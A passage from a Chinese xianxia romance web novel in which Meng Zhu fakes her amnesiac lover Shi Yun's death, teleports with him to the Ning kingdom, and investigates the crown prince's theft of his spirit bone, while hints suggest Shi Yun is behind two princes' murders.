施允的嘴角不由自主地往上翘,把那几本医书放回去,视线一转,就看到了书架旁挂着的那幅画。 他嘴角的笑容一点点凝固。 画中,漫天的红霞下,一人执剑而立,犹如破空而来,身形被斜阳勾勒得劲瘦修长,唇角的笑容游刃有余,眉目间尽是张扬不羁的少年意气。 那面容倒真的像他们所说的,与他极为相似了。 可他与他不同,他没有那样意气风发的时候,他甚至不知道拿剑是什么感觉。 施允看着那幅画,静立许久,他脸上慢慢浮起一抹嘲讽的笑容。 呵,什么心上人。 果真鬼话连篇- 孟竹回到仙师府以后,立刻就去了施允的住处。 今日她特意回来得早些,不过是午后,往常的这个时间点,施允应该刚刚用完午膳,可她绕着屋子找了好大一圈都没见到半个身影。 直到她准备走的时候,才碰到了迎面走来的施允。 他现在不用拐杖了,走得很慢,却稳,只是每走一段路,便要扶着墙歇一歇。 孟竹就站在他的对面,不足十步的距离。 她静静地等着,看着他一点点向自己走过来,视线对上的一瞬间,施允的脚步停住。 孟竹冲他挥了挥手,弯起眼睛笑:“等你好久了。” 午后的阳光照在施允的脸上,因为皮肤太白,衬得那双眼睛越发得黑。 他慢慢站直了,对着孟竹伸出一只手,那只手掌心朝上,指节微弯,伴随着轻轻的一声,“过来。” 施允的声音不急不缓,眼神始终看着孟竹。 孟竹毫不犹豫地朝着面前的人走去。 她还没站稳,便被攥着手腕被拉进了怀里。 “……怎么了?” 孟竹伸手,手向上环抱着着他的背脊,觉得今日的施允格外主动,她不由开心地用脸蹭了蹭施允,好久没有同他亲近了。 这大概是他们重逢以来的,第一个真正意义上的拥抱。 施允将头埋在孟竹的肩上,他闭着眼睛,没有回答孟竹的问题,却更紧地将她抱入怀里。 孟竹有点喘不过气来了,她敏锐地感觉到施允的不对劲。 坏了。 这一看就是在瞎想。 施允这个人吧,明明是个顶聪明的人,但是一遇到关于感情的事情就容易犯轴,从前就是这样,现在还是一点没变。 孟竹伸手掐了一下施允的腰,没动静,看起来还沉浸在自己的思绪里。 她又掐了第二下,这下用了点力道,给施允掐得浑身都颤了一下。 他把孟竹放开,一手捂着腰,一边蹙着眉看着孟竹,“你做什么?” 孟竹站着,盯着施允开始问话:“我还想问你呢,你在想什么?” 一回来就这副样子,非常不对劲。 施允顶着一张面无表情的臭脸,忽然道:“不是说喜欢我,怎么,抱一下就开始嫌弃了?” 他朝着孟竹靠近,俯身仔仔细细地打量着她脸上的表情,他伸手碰了碰孟竹的脸颊,指尖带着点凉意,“还是说,你喜欢的只是我这张脸?” “我很好奇,这张脸究竟有什么独特的地方?” 孟竹看着那近在咫尺的精致面容,薄红的唇一张一合,脑子都空白了一瞬。 好想亲一下。 可她深深吸了口气,压住了那股冲动。 现在对于施允来说,她不过是一个刚认识没多久的陌生人,这样唐突的举动,她怕吓到他。 她不能再纵容自己欺负他了。 孟竹想着,感情的事情急不得,她得耐心点,等着施允重新对她敞开心房。 她偏过头闭了闭眼,深呼吸了两下,才对着施允道:“因为好看,特别好看。” 孟竹说的绝对是实话,当初喜欢上施允,有九成九是因为这张脸。 她是个挺诚实的颜控,美色当前,她说不出违心的话。 可她偏头躲闪的动作让施允的手指僵在半空,他哂笑了一瞬,对着孟竹轻轻点了点头,“原是这样。” 她果然只爱他的脸。 因为同那个人相似? 施允缓缓思索着,那画中人看起来也是个修道之人,听说修道之人到了一定境界能够永驻青春,就像他从小就听过女仙师的名号,他本以为会是一个头发花白的女妖道,见到孟竹以后才惊讶原来这人这么年轻。 那个画中人应当是死了,要么就是跟寻常男人一般三心二意抛弃了她,不然这个女人怎会天天看着那幅画像念念不忘? 换个角度想,纵使那人没死,怕也是个年纪一大把还装嫩的老男人。 他才是真正的年方二十,水嫩得像刚从地里掐出来的小葱。 况且,方才仔细瞧了瞧,他认为,那画中人的脸并不比他好看。 思及此,施允稍稍放心。 他再怎么也不可能比不过一个三心二意,年纪一大把的老男人吧? 第64章 我不准 孟竹原本还想着怎么跟施允说带他回宁国的事情,岂料她刚开了个头,只问了一句愿不愿意跟她去一趟宁国,施允直接就点了点头。 他甚至都没问她为什么。 不过转念一想。其实也很正常,施允在宁国的时候虽然过得不太好,但好歹也算是从小长大的地方,总比一直留在南国要好。 跟施允沟通过之后,孟竹就开始着手离开南国的事情。 其实主要是施允现在这个身份的问题,他现在顶着敌国质子这个名头,还是个战俘,直接离开对孟竹来说很简单,不用顾忌任何人。 只是她怕的是李延因为施允的忽然离开找到由头攻打宁国,不管是南国还是宁国,其实孟竹都觉得跟她毫无关系,只是一旦又开战,影响到的都是普通百姓的生活。 自古以来战争都是历史进程的一部分,南国想要扩大疆土,无论找什么理由,势必都会再次攻打宁国,她既不能干预,也没有这个能力去掺和这些家国大事,她唯一能做的,只是让这个发动战争的理由绝对不能落在施允头上。 孟竹再次庆幸她是个修仙人士,再难办的事情都能迎刃而解,方法也非常符合孟竹的做风,简单直接。 就像现在,她找来一个木偶人,用术法雕刻成施允的模样,再施下一个幻术,地面上立刻出现一个与施允长得一模一样的人,只是地面上的木偶人闭眼躺着,面色灰白,毫无生气的模样。 做这些事的时候,孟竹丝毫没有避着施允,他在一旁看着,见到地上有个像死尸一样的自己,不仅没感到不适,反而饶有兴致地蹲下来仔细瞧了瞧。 孟竹看得心里不太舒服,她让施允别看了,那个木偶人就连她自己也不想多看。 因为她总会想到在北荒的那天,那时候,连尸骨都没有留下的施允,他当时,该有多疼呢? 孟竹在这里有些伤感呢,这一心疼难过起来,落在施允眼里就是另一种解释了。 施允看见孟竹明显低沉下来的情绪,心里更加确定了那个画中人已经死掉的事实。 木偶人顶着同他一样的脸,他就想观察一下是不是真的有那么像,一抬眼看见孟竹的表情,心里冷笑一声。 算了,同一个死人计较什么。 反正,是她先来招惹他的,是她自说自话闯入他烂泥一般的生命中,既然对他好了,这份好,就不能再给别人了。 他要的是独一无二。 他要的是全心全意。 嘴巴里说着喜欢他,心里想着另外一个人,真当他这么好脾气? 施允看着那个木偶人陷入了沉默,孟竹以为他因为看到自己的死相感到难受了,便拍了拍他的肩膀,柔声安慰道:“权宜之计,不要想太多。” 也不知道施允听进去没有,始终低着头不知道又陷进了什么情绪中。 孟竹暂时没空安抚他,吩咐人扛着那个木偶人就进了宫。 “死了?!” 李延听到孟竹嘴里说出来的话,批奏折的笔都差点被折断,他罕见地露出那种难以置信的神情,看着孟竹道:“你休要欺骗孤。” “我把他的尸体都带过来了,不信的话,你就验尸看看。” 孟竹现在这种修为的幻术,凡人能识破就见鬼了,更何况为了逼真,她还问照水要了点血,带着魅妖惑心术的血融入木偶人中,会在看到木偶人的一瞬间被迷惑认知,就算是修士来了也不能识破,除非修为比她还高。 “怎么死的?”李延皱了皱眉,“你前一阵子不是护得跟眼珠子似的,为了他还把仙师府里养着的人都赶出来了吗?” “病死了,药石无医。”孟竹垮着张脸,尽量让自己的表情看起来沉痛一些。 顿了顿,她又道:“况且他当时到仙师府的时候,身体状况就极其不好了,又心思郁结,身体每况愈下,就算是我,也救不了一个不想求生的人。” 这句话倒是事实,施允当时身上的伤大大小小不计其数,跟个破布娃娃一样,李延知道他的身体状况,当时吩咐人把他安置在那个冷宫附近的院子里,就是抱着让他自生自灭的想法的。 他想,看来这个人对孟竹来说也不过如此。 李延的脸色稍霁,看着孟竹的表情,倒是笑了一下,道:“你也不必这么难过,到时候孤再给你找一个更好的就是了。” 闻言,孟竹看着李延,对他笑了一下,道:“再说吧。” 她转身,背对着李延挥了挥手,“走了。” 李延看着那逐渐远去的背影,忽然站起身喊了一句,“孟竹!” 孟竹的脚步顿住,她半偏过头用询问的视线看向李延。 “你是不是又要离开南国了?” “嗯。” 李延有些迟疑地问道:“那……你这次离开,会很快回来吗?” 感觉到他话语里的不安,孟竹转过身,笑着点了点头,“当然。” 当然不会。 她再也不会来南国了。 因为这里并不需要一位仙师,他们会渐渐忘掉她,成为她漫长生命中一段短暂而模糊的回忆。 李延听到孟竹的回答,也笑起来,“那就好。” 直到孟竹彻底离开以后,李延才看着那具尸体,召来内侍,心情颇好地吩咐道:“拉出去葬了吧。”- 当天晚上,仙师府后院内的空地上,孟竹正蹲着画传送阵,不用车马劳顿,可以快速跨越千里传送至宁国。 照水和施允站在一旁等她,她现在已经可以熟练地使用各种束发了,曾经觉得复杂难学的传送阵现在甚至闭着眼睛都可以画出来。 孟竹画完阵,站起身的时候,发现施允虽然没说话,眼神中却带着些好奇,目不转睛地看着地上的阵法。 她想起曾经他们去临城找照水的时候,施允在地上画阵的模样,从容不迫的样子,带着一丝笑意,对她说:“下次你来画。” 只是她没想到,这个下次会来得这么晚,这么迟。 曾经也是这个人,带着什么都懵懵懂懂的她一路同行,帮她打通灵脉,教她术法,陪她进境,护她周全。 现在的她什么都会了,眼前的施允却成了懵懂无知的那个人。 孟竹揉了揉有些发酸的眼睛,让照水和施允站到阵中,施允瞥她一眼,有些好奇道:“这样就行了?” 孟竹双手结印启动术法,对着施允笑了笑,“是啊,我厉害吧。” 话毕,三人周身的蓝光大盛,眼前的画面极速变换,不过片刻,画面定格,又变成了城郊的一片树林中。 不好直接传送在人多的地方,孟竹特意选了这个位置,离城门不远,人烟稀少,刚好还能做做准备再进城。 施允这张脸肯定不能出现在宁国,她给自己施了幻形术,化了个男相,出门在外都方便得多,又抬手给施允换了张普通的脸。 “好了,走吧。”顶着一张大胡子脸的孟竹道。 照水也换了张脸,虽然陌生,但也是一张出众的俊脸,他每次看到孟竹化这种男相都笑得前俯后仰,扶着树干大笑道:“阿姐,你是不是对这张脸有什么执念,每次化男相都是这个样子。” 摸了摸自己的脸,孟竹道:“这不挺好?” 施允看着孟竹化的男相,抿了抿唇,手指屈起抵在唇边,偏过头看向一边。 看着看着,眼前就出现了孟竹那张好笑的脸,她把头凑近了,朝着施允道:“你是不是也想笑我?” 施允嘴角的笑容敛下,轻咳一声,道:“没有。” “才怪。”孟竹笑着斜睨他一眼,“想笑就笑嘛,憋着做什么?” 这话说完,施允也不接话了,重逢以后他本来就寡言少语的,这些时日以来,孟竹一直想逗他多说两句话,却还是这样没什么变化。 孟竹倒也没勉强,想着,顺其自然吧。 三人进了城,已经入了夜,他们先找了个客栈休息,叫了一桌饭菜坐下来休息。 孟竹看着桌面有些未干的水渍,便拿出一块干净的布巾开始擦拭桌面,待她擦拭完了以后,掏出一副崭新的碗筷时,施允已经拿起筷子,甚至擦都没擦,神色自若地吃起了桌上的菜。 她的动作僵在空中。 照水也看着施允,张了张嘴,却只是叹了口气。 “怎么了?”施允偏首看向孟竹,视线落在她拿出的那副碗筷上,唇角微动,像是笑了一下:“是你一直以来的习惯吗?” 孟竹收回那副碗筷,盯着施允看了一会儿,沉默地夹了口菜放进嘴里,好一会儿才道:“不是的。” 她实在不知道该怎么开口跟什么都不记得的施允解释这些事情。 “是吗?”施允看她一眼,不再说话了。 他吃得越来越少,几乎完全不动筷子了,脸色也看起来不太好。 孟竹看他的模样,问他是不是又哪里不舒服了,他只是摇了摇头,越发沉默。 三人安静地吃完饭,跟小二要了房间,孟竹和施允的房间挨着,一前一后上了楼,一路上谁也没说话。 可当她开门的一瞬间,手腕忽然被人扣住往后一拉,转眼间换了个方向。 门在耳边砰地一声关上。 一阵风从孟竹的耳边吹过,她闻到了一股熟悉的香味。 孟竹几乎是毫不反抗地仰起头,甚至放轻了手上的力气,害怕一不小心伤着他。 施允一手按在门上,一只手扣住孟竹的手腕,像是怕她离开似的,身躯密密实实地压着她,几乎要把她整个人抵在门上。 她有些发懵,不明白施允怎么突然做出这种举动,于是下意识地喊了他的名字,“……施允?” 这个名字脱口而出的一瞬间,她看见施允骤然变冷的眼神。 他低下头像是泄愤似的咬住孟竹的耳垂,声音又急又气:“……别喊他的名字。” “至少看着我的时候。” “我不准你想他。” 第65章 他和“他” 孟竹的耳垂被啃咬着,传来细细密密的麻痒。 施允压着她,灼热的呼吸不断在她耳边纠缠,他似乎陷入了某种自己臆想中的画面,抬眼看她时,脸上的神情愤怒而悲戚。 孟竹看着那双眼睛,心中百转千回。 为什么要这样不安呢? 果然是因为她,只能是因为她。 孟竹伸手,手心向前,同施允的手掌交握,他垂眼看着孟竹拉着她的那只手,压平的唇角溢出一丝苦涩的笑意。 就要分不清梦境和现实了。 他总在做梦,从遇到孟竹的那一刻起。 每一晚,他在梦中都会看到他和孟竹抵足相拥的画面,梦里的画面断断续续,像是碎纸片一样,总也拼不成一副完整的图画。 他梦见一些从未去过的地方,这些画面中,总是有孟竹的身影,她时而在笑,时而静静地看着他,时而在梦中逗弄他。 他甚至会梦到孟竹亲吻他的模样,他们在梦中拥吻,纠缠,像是两条紧紧交缠在一起的蛇,密不可分。 在梦中,孟竹会抚摸着他的头发,低声说着柔情蜜语。 每一次醒来,心都会狂跳不已,全身上下汗湿一片,久久不能纾解。 他羞于启齿。 他竟然对一个刚认识没多久的女子起了这样不堪的,龌龊的心思。 他越是想要压抑这种心思,越是痛苦不堪,连白日里,都会出现一些不该有的画面,他甚至觉得,他们本该是这样的。 日日做梦,日日沉沦。 他想,他大概终于是疯了,得了臆症。 施允任由孟竹牵着他的手,跟着她在桌边坐下。 她先是盯了施允一会儿,然后噗嗤一声笑了出来,她的手没松开,轻轻捏了捏施允的手心。 “我从没叫过别人的名字,也从没想过别人,施允。” “这是你的名字。” 施允的神情空白了一瞬,好半天才动了动唇,“……什么?” “我早就应该告诉你了,只是之前怕吓到你,也一直不知道该怎么同你开口。”孟竹组织着语言,语调缓慢,“抱歉,我不该让你这样独自胡思乱想。” 这一夜,烛火亮了很久,孟竹把从前的事情一点一滴说给他听,没有丝毫隐瞒,包括她的来历,包括曾经她不愿意说给他听的那些话,包括那些没来得及说出口的期许和爱意。 她看见施允的表情从茫然无措到震惊,再到最后的平静。 “你从来都不是谁的替身,你就是你。” 施允沉默了很久,才哑着嗓子问了一句:“那你呢,为什么不走,不回到你该有的地方去?” 孟竹看着他,抿唇笑了笑,并不说话。 她松开施允的手,倒了杯茶润了润嗓子,茶水已经变凉了,入口有些苦涩,孟竹忽然想到什么,看着施允,问:“你不会觉得我又是在编故事诓骗你吧?” “不……”施允摇了摇头,站起身,他在屋内走了两步,背对着孟竹不知道在想什么。 静了一会儿,他才转过身,脸色苍白道:“我……我还想不起来,抱歉。” 说着,他蹲下身,执起孟竹放在膝上的手指,一个羽毛般的轻吻落在她的指尖,他仰头望着孟竹:“我相信你,你说的每一个字,我都信。” “就算是你诓骗我。”他顿了顿,眼眶泛红,“若是骗我一辈子,也值了。” 乍然听闻此讯,只觉二十年来如一场梦,他还想不起从前的那些记忆,无法共情从前的自己,他甚至像个局外人一样,听着孟竹说起的那些往事。 他嫉妒从前拥有过那些回忆的那个自己,更有一种恼恨的情绪充盈在他的心间。 他恼恨他让孟竹独自等待二十年,让她难过,更恼恨他让孟竹流露出那种黯然神伤的表情。 他明明可以不那样做。 在他看来,北荒的那一天,更像是一种逃避。 因为难以承受,因为懦弱,而选择了这样的离开方式。 若是现在的他,就算等上千百年,就算要划破时空,就算撕裂**,就算变成一缕幽魂,他也会活下来,千里万里地去寻她。 这辈子寻不到,就等下辈子,下辈子寻不到,就下下辈子。 就算她投胎转世,他也会想尽办法活下去,然后将她找出来。 他这一生,失去的太多,拥有的太少,他不明白从前的施允为什么拥有了那么多的爱,却可以轻言放弃。 孟竹被他亲吻地手指麻酥酥的,她看着施允红通通的一双眼,屈起手指轻轻擦去他眼睫下的一滴泪珠。 “想不起来也没关系,我们可以创造出更多的从前。”她捧起施允的脸,亲吻他眼角的泪,“我要找的,从来都不是回忆里的那些东西。” 她早该知道,施允会这样回应她,他永远都是那个无条件相信她的人。 纵使失去记忆,也从来都没有变过。 天快亮的时候,孟竹拉着施允到榻上睡觉,“你现在身体不好,更需要好好休息。” 不知道施允想到了什么,耳根一下子红透了,他有些结结巴巴地道:“我、我们尚未成婚,如此……如此于理不合。” 孟竹松开手,饶有兴致地打量着施允的表情,心道,咱俩于理不合的事情做的还少吗? 不过她倒是没说出来,施允现在这模样,看起来还是个不开窍的纯情小处男,她还没那么兽性大发地欺负人。 满打满算,她也算是活了四十多年了,真的有种老牛吃嫩草的嫌疑。 叹口气,孟竹道:“好吧,那你先睡,我回自己房间了。” 经过妆台前的铜镜时,孟竹猛地撤回一步,她看着铜镜中的那张脸,有些愕然地回头看向施允。 施允坐在榻上,不明所以地看着她,“怎么了?” 不是? 刚才她就顶着这张大胡子脸和施允两个人聊了一宿? 她立马用术法换回了自己的脸,又施了个障眼法,让施允的脸也变了回来,只不过外人看,还是原本所化的形貌。 施允看她脸变回来,也意识到她在想什么,弯起眼睫笑了起来。 “你还笑。”孟竹走过去,戳了戳施允的腰,“对着这张脸你还说得出那些话来。” 施允被她戳地抖了下,“总归都是你,没有什么不同。” 佩服。 她是真佩服。 让她对着那张脸说情话,就算知道是施允,她也开不了口。 孟竹有些忧愁地想着,难道她当真是个这么肤浅的颜控吗? 思索半天,孟竹得出了结论,有趣的灵魂多如牛毛,如此貌美的皮囊可是千万里挑一,她要坚决守护这份难能可贵的美貌。 她看着施允,慢吞吞往门外挪,“那我……走了啊。” 刚走两步,身后的人便轻轻拽住了她的衣袖。 他的眼睫轻颤,声音轻的像梦呓一样,“就……就在这里睡吧,反正天也快亮了。” 薄红从施允的脖颈漫延到耳根,那动人的双眸眼波流转,宛如春水潺潺。 “我什么都不会对你做的。” 看着施允这模样,孟竹暗自吸了口气,克制住自己想立马把人扑倒的冲动。 她的脚迅速收了回来,像一道风似的躺到了榻上,“好的。” 施允在她身旁和衣躺下,一张不算大的床榻上睡了两人,孟竹平躺着,和施允的肩膀靠在一起。 两人谁也没说话,静静躺了好一会儿,屋里静悄悄的,能偶尔听到窗外吹过的风声。 躺久了姿势有些僵硬,她怎么也睡不着,孟竹翻了个身,正对上施允偏过头看过来的一双眼,他的双眼沉静,无声无息地望着她。 她的心跳加快了一瞬,明明从前更亲密的事情都做过了,现在只是穿着衣服躺在一张榻上,什么都不做,她竟然觉得比从前更兴奋,更刺激。 孟竹抿了抿唇,开口问他:“睡不着吗?” “嗯。”施允也翻了个身,两个人面对面,额头都快贴到一起。 孟竹看着他的脸,情不自禁地伸出手,指尖抚过他的眉眼,她轻轻地叹口气,吐出心口那股满胀发酸的热意,“真好,施允,我又把你找回来了。” 施允静静望着她,忽然道:“那你喜欢从前的我,还是现在的我?” 这话问的有些奇怪,孟竹没明白他的意思,“都是你,有什么区别吗?” 不管是从前的施允,还是现在的施允,对她来说,就只是同一个人,虽然重活了一遍,但灵魂和骨子里都是那个她爱的人,她根本不明白两者之间有什么不同。 施允牵唇浅笑,伸手按住了那只手腕,低下头亲了一下孟竹的额头,他一只手穿过孟竹的头发,将她按进自己的怀里。 “睡吧。”施允道,“天快亮了。” 他以指代梳,一下下梳着孟竹的头发,孟竹嗅着鼻尖那熟悉的味道,感觉到施允顺着脊背温柔的抚摸,眼皮越来越沉。 直到孟竹完全睡去,施允的动作才停下来,平静漆黑的一双眼,目不转睛地盯着怀中人的睡颜。 他和“他”没有什么区别? 不。 “他”居然会放手让她走,去到一个“他”根本触碰不到的世界。 太蠢了。 简直蠢到令人发笑。 他想起孟竹形容起从前的那个自己,觉得既新奇又陌生,完全没有任何认同感。 她口中的那个施允,既天真又愚蠢,既懦弱又伪善。 他当真曾经是那样的人? 说起来,他还得感谢从前的自己,让他能如此轻易地获得孟竹的喜爱。 施允在黑暗中轻轻笑了起来。 那双长长的眼睫弯起,面上仍然是柔软无害的笑容。 他将脸贴在孟竹的发上,轻轻蹭了蹭。 傻姑娘,从烂泥里生长出来的东西,没有阳光和养料,只有无穷无尽的湿冷和黑暗。 怎么会和从前没有区别呢? 第66章 杀只鸡都费劲 第二天醒来的时候,孟竹一睁眼,抬头时,看见一张放大的俊脸,脑门一时不太清醒,瞬间吓了一跳。 她的额头砰地一声撞在了施允的下巴上,施允闭着的眼睛睁开,面色有些痛苦的模样。 身边太久没睡人了,这一醒来忽然看见张男人的脸,才想起她昨夜是在施允的房间过夜的, 孟竹忙俯下身,伸手摸摸他被撞红的下巴:“忘记了忘记了,痛不痛?” 施允被她摸着,神情乖顺,轻轻摇了摇头,而后又想起什么,忽然道:“从前你府里的那些面首,不与你一同过夜吗?” 还提这茬呢…… 孟竹举起手,正正经经道:“我发誓,我从来没有养过面首,真的,那些人我连名字都不知道。” 她看着施允坐起身,偏过头看着她,“当真?” 孟竹点头,又添了一句,“当真,连他们的脸我都没多看一眼。” 看着施允唇角漾开的笑容,窗外的阳光照在他的侧脸上,眉梢轻动,便如春花绽放。 真漂亮。 她知道施允的性子,如今,她更愿意纵着他一些,说许多他爱听的话。 孟竹起身简单地洗漱了一下,她想起昨夜和施允的谈话,问过施允关于在宁国发生的事情,她没有隐瞒灵骨的存在,也同他说了此次来宁国的主要目的。 施允所说的一切和她在司徒行光那里听到的大差不差,唯有一事她还不甚明了。 当她问起施允断腿的和曾经同时与宁国太子生的那场病时,施允沉默了一瞬,才看着她道:“记不清了。” 当时,他移开视线,微低着头,像是在看着自己的双腿努力回忆,声调缓慢道:“我只记得当时司徒慎在围猎时从山上不甚摔了下去,当时我在宫中,起了高热,意识也不太清楚,再醒来时,这双腿便已经废了。” 孟竹想,兴许是灵骨被剥离时有人从中下了手脚,才让施允失去了那段时间的记忆。 一定有一个人在暗处捣鬼,说不定就是这个人废了施允的双腿,灵骨一事和宁国太子有脱不开的干系。 现在施允手无缚鸡之力,孟竹不想他以身涉险,她决定自己混进东宫,去看看这个宁国太子到底藏了什么猫腻。 施允听了孟竹的打算,视线停在她脸上看了很久,才道:“原是我无用。” 孟竹伸手揉了揉他的头发,“想什么呢,这只是暂时的,以后你只会越来越好,越来越厉害,你还是那个永远耀眼的施允。” 听了孟竹的话,施允垂着眼睫笑了一下,说:“这样啊。” 临走的时候,孟竹实在放心不下,往施允身上下了好几个防御的术法,这样下来,寻常刀剑根本近不了他的身便会被自动弹开。 看着在自己周围忙前忙后的孟竹,施允单手支着头,慢悠悠道:“说不定,我没有你想象的那么弱呢。” 孟竹嘴上说着是是是,你很强,但小心谨慎些总没错,心里却想着,从前的你倒是厉害,但今时不同往日,现在你连杀只鸡都费劲,还逞什么强呢。 不过她到底是没把这些话说出来,这不是往人心窝子上戳刀子吗? 孟竹做好了万全的准备,这才放心走出门。 临走时,她回头看了施允一眼,他半托着腮懒懒坐在窗边,弯着眼睫朝孟竹笑了一下。 孟竹心里叹口气,不知怎的,她总是觉得施允现在太脆弱了,像件易碎的瓷器,总让她担心,在她看不见的地方*,又会受伤。 她想着,得快点找到灵骨啊,往生花造出的身体失了灵骨,只会越来越衰弱,现在能靠着她的灵力维系着,但总也不是长久之计。 出了门,迎面就撞到了一旁正抬手准备敲门的照水。 看见从施允房间里出来的孟竹,照水瞪大了眼,“阿姐,你……你们……” 他完全不明白这一晚上发生了什么,前一天晚上还相敬如宾的两个人就这样了,速度突飞猛进。 孟竹被他盯的有些不自在,搓了搓手,道:“嗯……反正……就是你看到的这样。” “好了,别管这么多。”孟竹把迷迷糊糊的照水从门边拽走,“跟阿姐去趟东宫。” 老样子,孟竹和照水一个化作侍女,一个化作小厮,孟竹照着之前进去的一个侍女腰间挂着的腰牌用符纸变了一个一模一样的,门口的守卫简单盘问了几句,孟竹亮出了腰牌,守卫看了一眼就把他们放了进去。 该说不说,这东宫里面当真是奢华极了,亭台水阁,雕梁画栋,连地上铺就的鹅卵石都像是被精心挑选过似的大小一致。 孟竹和照水两人站在一处假山后,远远瞧见一个穿着太子蟒袍的人从回廊下走过,他身边跟着一个宽脸的玄服男子,正低声同他说着什么。 不多时,他们便进了内殿,她带着照水跃到了殿宇的房梁上,轻手轻脚揭开了一片瓦片。 孟竹用了点灵力,可以从这个缝隙中看清室内的一切,声音也能够听得更清楚。 穿着太子蟒袍那人应该就是施允口中说的司徒慎,另一个宽脸的男子一进殿便也坐下了。 她听到司徒慎唤他七弟,应该也是宁国的一个皇子。 两人拉拉扯扯半天,孟竹都没听到什么有用的消息,直到她刚准备起身时,司徒慎忽然道:“师父不日就要出关,最近口风都紧着些,别走漏了风声。” 孟竹抓住他话语中的关键字,手指一紧,继续看了下去。 谁知那宽脸男子闻言只是点了点头,道:“知道了。”随后,他行了个礼便退下去了。 孟竹忍不住啧了一声,照水跟她对视一眼,这些年来两人默契的很,早已知晓孟竹的意思。 等到内殿只剩下司徒慎一人的时候,两人从房梁上跳了下去,把门推开走了进去。 司徒慎一看到门口进来的两人,眉心一皱,厉喝一声:“什么人?” 在他对上照水眼睛的一瞬间,魅术让他神情一下子就放松了,像个木偶一样一动不动。 孟竹让照水在门口望风,她要亲自来问。 她先是用灵力探查了一下司徒慎的经脉,体内并没有任何异常,她曾经猜想会不会灵骨是被换到了司徒慎身上,如今看来却不是的,他身上没有一点灵骨的气息。 孟竹收回灵力,脑中像蒙了一团雾。 她看着司徒慎,开口问道:“司徒尘的腿是怎么断的?” “摔下山崖,与我换骨。”司徒慎宛如一个接受到指令的机器人,一字一句答道。 孟竹的心猛地沉了一下,果然。 听到施允说太子摔下山崖时,施允同时发高热,就有这个猜测了。 可亲口听到他说出来时,孟竹还是有些气血上涌。 她咬着牙冷笑一声,很好,趁着她不在,可劲儿地折腾施允是吧。 孟竹又问:“谁帮你换的骨,你的师父?” “是。” “你师父是谁?” “师父就是师父。”司徒慎道。 孟竹皱了皱眉,换了个问法:“你师父姓甚名谁?” “不知。” “长什么样子?” “不知。” “他人在何处?” “不知。” 好一个一问三不知,看来这个师父隐藏得倒是很好。 孟竹冷眼看着他,又问:“他什么时候出关?出关以后会来找你吗?” 司徒慎答:“两日后,会。” 眼见着问不出什么东西来了,孟竹便收了手,照水走过来,解了他的魅术,司徒慎便一头栽倒在桌子上。 回客栈的路上,孟竹心事重重的,只能再等两日,她才能见到这个所谓的师父是什么人。 她太大意了,从没想过还会有生剥灵骨这种事发生,这个司徒慎口中的师父,不知究竟是个怎样的存在。 或许他的修为在她之上,又或许是什么妖魔鬼怪,总之,应当不是什么善类,毕竟换骨一事,本就是用别人的命给自己续,就是在仙洲也属于禁术。 当真是有些棘手。 走着走着,路上忽然有马蹄声由远及近响起,一列官兵经过,为首之人嚷着:“让开!都让开!” 人群蜂拥四散,马背上的人像一道风似的从孟竹眼前掠过。 身旁一个妇人没站稳,险些栽倒,孟竹扶了她一下,妇人拍拍心口,朝着孟竹道谢。 孟竹听着人群的议论声,此起彼伏。 “哎呦,真是吓人,听说那三皇子今日突然暴毙,死在自己的府上了。” “可不是吗?看那一群官兵急的,就是要查这个案子去的。” “世道可真是不太平……” 孟竹听了个闲,也没在意,这些皇室中的阴私多了去了,今日你害我,明日我害你,就为了争权夺利。 加快了脚步赶回客栈,推开门,施允还是坐在窗边,他手上拿了本书,眼睛看向窗外,有些百无聊赖的模样。 “等急了吧。”孟竹走过去,坐在他对面,“是不是很无聊?” 施允摇了摇头,道:“还好。” 拿过施允手中的书,孟竹扫了两眼,是一本游记,里面记录了各种有趣的地方和相应的风土人情。 她想了想,对施允道:“这两日无事,我们要不要出去玩两天?” 施允没有从前的记忆,之前一直生活在宫里,想必对外面的世界也好奇的很,孟竹不想他这么苦闷地一直待在客栈里等她。 闻言,施允蓦地一笑,看起来乖巧极了,“好啊。” 孟竹叹口气,“你是不是傻,叫你等我你就真的大门不出二门不迈,傻傻地在这里等,无聊了就出去走走啊。” 施允却没说话,只是笑,漆黑的眼珠一直盯着她看。 被这种柔软的眼神看得没脾气,孟竹打算带着施允去吃些东西,起身的时候,她忘记了那本游记正搁在她的膝上,书本从膝上滑落下来。 孟竹弯下腰去捡。 蹲下来的时候,目光不经意地落在施允的衣摆上,那上面沾了一道黑色的指印,在白衣上显得格外扎眼。 孟竹有些疑惑地看向坐在窗边的人,问:“施允,你今日出门了吗?” 第67章 糖人 “施允,你今日出门了吗?” 问出这句话的时候,孟竹手上还捏着那本书,她指了指施允的衣摆:“瞧,衣裳都弄脏了。” 施允低头看着那一处的指痕,他伸手把孟竹拉起来,“嗯,出门买了几本书,打发时间。” “我就知道。”孟竹笑起来,“怎么这么不小心?” 她说着,往施允身上施了个清洁术,“你明明最爱洁了,这样可不行。” “好了,变得很干净了。”孟竹说。 施允看着衣裳重新变得洁白无瑕的样子,看着孟竹轻轻点了点头,道:“知道了,以后出门我会当心的。” “当心什么?” 施允笑了一下,轻声说:“我会小心不被弄脏的。”- 第二日,孟竹起了个大早,带着施允和照水两个人准备出城转转。 结果刚一出门,就看到大批的官兵在街道上巡逻,城内下了禁令,在禁期内不得外出。 街上的百姓议论纷纷,脸上带着惊惶之色。 “太吓人了,什么人这么狠毒啊!” “是啊,早上一出门看到,我的魂都要吓丢了。” “不过这四皇子骄奢淫逸多年,逼良为娼的事情做得还少吗,要不是皇子,他早该……” 一人说得激动了,被旁边人扯了扯袖子,觑了眼周围的官兵,小声道:“嘘,小点声,可不能乱说,” 一路走到城门下,孟竹才看到城墙上立着一杆长枪,长枪上挂着一具尸体,被掏空了脏腑,眼睛、整个尸体像张被撑开的人皮似的随风而荡。 照水看了都吸了口气,道:“这四皇子是不是得罪了什么人,这死相……” 他摇了摇头,道:“手段真是毒辣。” 整个宁国总共就十三位皇子,一天之内死了两个,孟竹心下觉得有些奇怪,面上却没说什么,盯着那具尸体看了一会儿。 直到一只手遮住了她的眼睛,施允的声音很轻:“别看了,会脏了你的眼睛。” 看了这幅光景以后,三人也歇了出去的心思,孟竹带着人去茶楼听了半天书,直听得昏昏欲睡,才在傍晚的时候打道回府。 天边黄昏正好,施允和照水走在孟竹一左一右,街道上因为禁令少了些杂耍的艺人,显得有些冷清。 路边有个卖糖人的摊子,路过的时候,孟竹瞥见施允朝着那个摊子看了两眼,她停下来,拉拉施允的袖角。 “喜欢吗?” 施允摇头,“都是些小孩子的东西。” 